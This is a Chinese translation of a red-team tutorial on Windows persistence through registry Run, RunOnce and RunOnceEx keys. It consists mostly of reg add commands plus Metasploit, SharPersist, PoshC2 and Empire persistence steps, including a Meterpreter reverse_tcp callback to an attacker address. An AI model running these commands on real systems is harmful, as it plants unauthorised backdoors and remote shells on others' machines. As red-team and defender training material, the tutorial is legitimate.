在紅隊行動中在網絡中獲得最初的立足點是一項耗時的任務。因此,持久性是紅隊成功運作的關鍵,這將使團隊能夠專注於目標,而不會失去與指揮和控制服務器的通信。
在Windows登錄期間創建將執行任意負載的注冊表項是紅隊游戲手冊中最古老的技巧之一。這種持久性技術需要創建注冊表運行鍵各種威脅因素和已知工具,如Metasploit、Empire和SharPersist,都提供了這種能力,因此,成熟的SOC團隊將能夠檢測到這種惡意活動。
命令行
注冊表項可以從終端添加到運行鍵以實現持久性。這些鍵將包含對用戶登錄時將執行的實際負載的引用,已知使用此持久性方法的威脅因素和紅隊使用以下注冊表位置。
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
注冊表–當前用戶的運行鍵
如果已獲得提升的憑據,則最好使用本地計算機注冊表位置,而不是當前用戶,因為有效負載將在每次系統啟動時執行,而與使用系統身份驗證的用戶無關。
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
注冊表–運行鍵本地計算機
在下一次登錄期間,有效負載將執行並與回傳給Meterpeter。
Meterpreter –運行鍵
另外兩個注冊表位置,這些位置可以允許紅隊通過執行任意有效負載或DLL來實現持久性。這些將在登錄期間執行,並且需要管理員級別的特權。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"
Meterpreter –任意DLL
Metasploit
Metasploit Framework通過使用Meterpreter腳本和后期利用模塊來支持通過注冊表的持久性。Meterpreter腳本將以VBS腳本的形式創建一個有效負載,該負載將被拖放到磁盤上,並將創建一個注冊表項,該注冊表項將在用戶登錄期間運行該有效負載。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21
Metasploit – Meterpreter持久性腳本
用戶下次登錄系統時,將打開一個新的Meterpreter會話。
Metasploit – Meterpreter會話
另外,還有一個后期開發模塊,可用於持久性。該模塊需要以下配置,並將可執行文件放置在受感染系統上的可寫位置。
use post/windows/manage/persistence_exe
set REXEPATH /tmp/pentestlab.exe
set SESSION 2
set STARTUP USER
set LOCALEXEPATH C:\\tmp
run
Metasploit –持久性利用后開發模塊配置
由於已選擇USER作為選項,該模塊將使用當前用戶的注冊表位置。
Metasploit –持久性后期開發模塊
如果已獲得系統級別的特權,則可以將該模塊配置為在HKLM位置中創建注冊表項。該STARTUP選項將需要改變系統。
set STARTUP SYSTEM
Metasploit –作為系統的持久性模塊
SharPersist
SharPersist是Brett Hawkins在C#中開發的工具,它結合了多種持久性技術,包括添加注冊表運行鍵。該工具包可以加載到支持反射加載的各種命令和控制框架中,例如Cobalt Strike和PoshC2。以下命令將創建一個注冊表項,該注冊表項將從與Metasploit Framework模塊相同的注冊表位置執行任意有效負載。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -k "hkcurun" -v "pentestlab" -m add
SharPersist –以用戶身份注冊
如果已獲得提升的訪問權限,請修改命令以在本地計算機位置中安裝注冊表項,以實現所有用戶的持久性。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -k "hklmrun" -v "pentestlab" -m add -o env
SharPersist –注冊為SYSTEM
SharPersist還通過RunOnce和RunOnceEx注冊表項包含持久性功能。以下命令將在這些位置創建注冊表項,這些注冊表項將執行任意有效負載。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonce" -v "Pentestlab" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonceex" -v "Pentestlab" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hkcurunonce" -v "Pentestlab" -m add
SharPersist – RunOnce注冊表項
SharPersist還提供了使用另一個注冊表位置進行持久化的選項(UserInitMprLogonScript)。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "logonscript" -m add
SharPersist –登錄腳本
PoshC2
PoshC2支持各種持久性功能,包括注冊表運行鍵的方法。以下命令將在目標主機中創建兩個注冊表項。
install-persistence
PoshC2 –持久性
注冊表的“運行”項將具有IEUpdate的名稱,以便看起來合法,第二個注冊表項將作為牆紙隱藏在注冊表中。
PoshC2 –注冊表運行鍵
Empire
如果將Empire用作命令和控件,Empire包含兩個與通過注冊表運行項與持久性技術對齊的模塊。根據特權級別,這些模塊將嘗試在以下注冊表位置中安裝base64有效負載:
HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
Empire – Debug 注冊表項有效負載
usemodule persistence/userland/registry
usemodule persistence/elevated/registry*
Empire –Persistence Registry Module
將在名稱Updater下創建另一個注冊表項,該注冊表項將包含要執行的命令。PowerShell將嘗試在下次登錄時運行Debug密鑰中存儲的有效負載,以實現持久性。
HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Empire – Registry Run Key
譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。
原文地址:https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/